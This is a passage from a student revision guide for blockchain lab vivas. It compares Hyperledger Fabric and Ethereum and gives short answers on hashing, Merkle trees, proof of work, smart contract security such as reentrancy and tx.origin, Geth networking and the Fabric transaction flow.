Aspect	Hyperledger Fabric	Ethereum
Access	Permissioned	Public (or private config)
Identity	X.509 via MSP	Pseudonymous addresses

Aspect	Hyperledger Fabric	Ethereum
Consensus	Pluggable ordering (Raft)	PoS (formerly PoW)
Smart contracts	Chaincode (Go, JS, Java), no gas	Solidity on EVM, gas
Execution model	Execute-order-validate	Order-execute
Native currency	None	ETH
Finality	Immediate	Probabilistic / after finalization

Typical viva questions: Why does a transaction need endorsement from both orgs here? (Default policy is majority of channel orgs.) Where is the endorsement policy enforced? (Validation at committing peers, not at the orderer.) Can an invalid transaction be in a block? (Yes, it is recorded but its state change is not applied.) What does the orderer see? (Only the transaction envelope for ordering; it does not execute chaincode.) What is the difference between the ledger and the world state? (History of all transactions vs current values.) What is an MSP? (Defines which identities are valid members of an organisation and their roles.) What do `peer chaincode query` and `invoke` differ in? (Query runs on one peer and does not go to the orderer; invoke goes through endorsement, ordering and commit.)

Rapid-fire viva question bank

These short answers cover the cross-lab questions an examiner can ask whichever lab you draw (viva is 10 of 20 marks). Answer in one or two sentences, then offer to show it on screen.

Lab	Question	Short answer
1	Properties of a cryptographic hash?	Deterministic, fast, preimage resistant, second-preimage resistant, collision resistant, avalanche effect
1	Why sign the hash instead of the data?	Fixed small size, faster, any data change changes the hash
1	What does a valid signature prove?	Integrity, authentication, non-repudiation (not confidentiality)
1	Why does the ECDSA signature differ each run?	A fresh random nonce `k` is used; reuse of `k` leaks the private key

Lab	Question	Short answer
1	Which curve does Bitcoin/Ethereum use?	secp256k1
2	What is stored in the block header from the tree?	The Merkle root (32 bytes)
2	Cost of proving one transaction is in a block of n?	O(log n) hashes (the sibling hashes along the path)
2	Hashes recomputed after changing one leaf?	log2(n) + 1 (the path to the root)
2	What if the number of leaves is odd?	Duplicate the last hash (Bitcoin rule)
3	What makes the chain tamper-evident?	Each block stores the previous block's hash, so a change breaks every later link
3	Why is the first block special?	Genesis: hardcoded, no parent, previous hash is zeros
3	Does validation need the network?	In this lab no; real nodes also run consensus and signature checks
4	What is a nonce in mining?	The field the miner varies to get a different hash
4	How does difficulty relate to target and effort?	Lower target means higher difficulty and more expected attempts (about 2^bits)
4	Why is verification cheap but mining expensive?	Verifying is one hash; finding the nonce is brute-force search
4	How often does Bitcoin adjust difficulty?	Every 2016 blocks to keep about 10 minutes per block
4	What does PoW protect against?	Cheap block forging and Sybil attacks; rewriting needs redoing all later work
5	Transaction versus call?	Transaction: changes state, costs gas, mined. Call: local read-only, free
5	ABI versus bytecode?	ABI describes the interface; bytecode is what the EVM executes
5	What does `require` do on failure?	Reverts all state changes in the transaction and refunds remaining gas
5	Can deployed contract code be changed?	No: redeploy to a new address (or use a proxy pattern)

Lab	Question	Short answer
5	Why does gas exist?	Prices computation and storage, stops infinite loops and spam
6	Reentrancy in one line?	A callee re-enters your function before your state update completes
6	Standard fix?	Checks-effects-interactions, plus a reentrancy guard and pull payments
6	Famous reentrancy and access-control incidents?	The DAO (2016); Parity multisig (2017)
6	Why is `tx.origin` auth unsafe?	A malicious intermediary contract can act with the owner's authority (phishing)
6	Why write both positive and negative tests?	To prove legit use still works and the exploit is really blocked
7	What is JSON-RPC in this lab?	The HTTP interface of the node (`eth_*` methods) that Web3.js wraps
7	Why does the sender lose more than the sent value?	Gas fee: gasUsed x gasPrice
7	What is the nonce in a transaction?	Per-account counter; prevents replay and fixes ordering
7	What does receipt `status` mean?	1 or true: success; 0 or false: reverted (gas still paid)
8	How do you prove the nodes are on one network?	Same genesis hash and network ID, `net.peerCount` greater than 0, same block number
8	What is an enode?	`enode://pubkey@ip:port`, a node's identity and address
8	What is Clique?	Proof-of-Authority: approved signers seal blocks in turn
8	What happens when the only sealer stops?	No new blocks; transactions stay pending until it returns
8	Network ID versus chain ID?	Network ID: peer handshake. Chain ID: transaction signing (replay protection)
9	Order of the Fabric flow?	Proposal, endorsement, ordering, validation, commit

Lab	Question	Short answer
9	What does the orderer do?	Orders transactions into blocks per channel; does not execute chaincode
9	Where is the endorsement policy checked?	At validation on committing peers
9	Ledger vs world state?	Ledger: immutable block history. World state: current key-value values
9	Fabric vs Ethereum, in one line?	Permissioned, identity-based, execute-order-validate, no gas, immediate finality

Last-minute checklist

1. Run the untouched starter first, then change one thing at a time.
2. Keep outputs visible: hash, `True/False`, nonce and attempts, receipt fields, `peerCount`, query results.
3. For every output say: *what it is, why it came out that way, what it proves for security*.
4. If something will not run in the time left (e.g. difficulty 6, Fabric deploy), say so, explain what it would show, and move on: the viva carries the most marks.
5. If unsure of a command, check `--help` (`truffle help`, `geth help`, `peer chaincode invoke --help`): no internet is needed for that.

This guide was written against the exam paper's task lists; file names, ports, image tags and Solidity or Web3 versions on the exam machines may differ, so read the supplied starter files before relying on any exact command.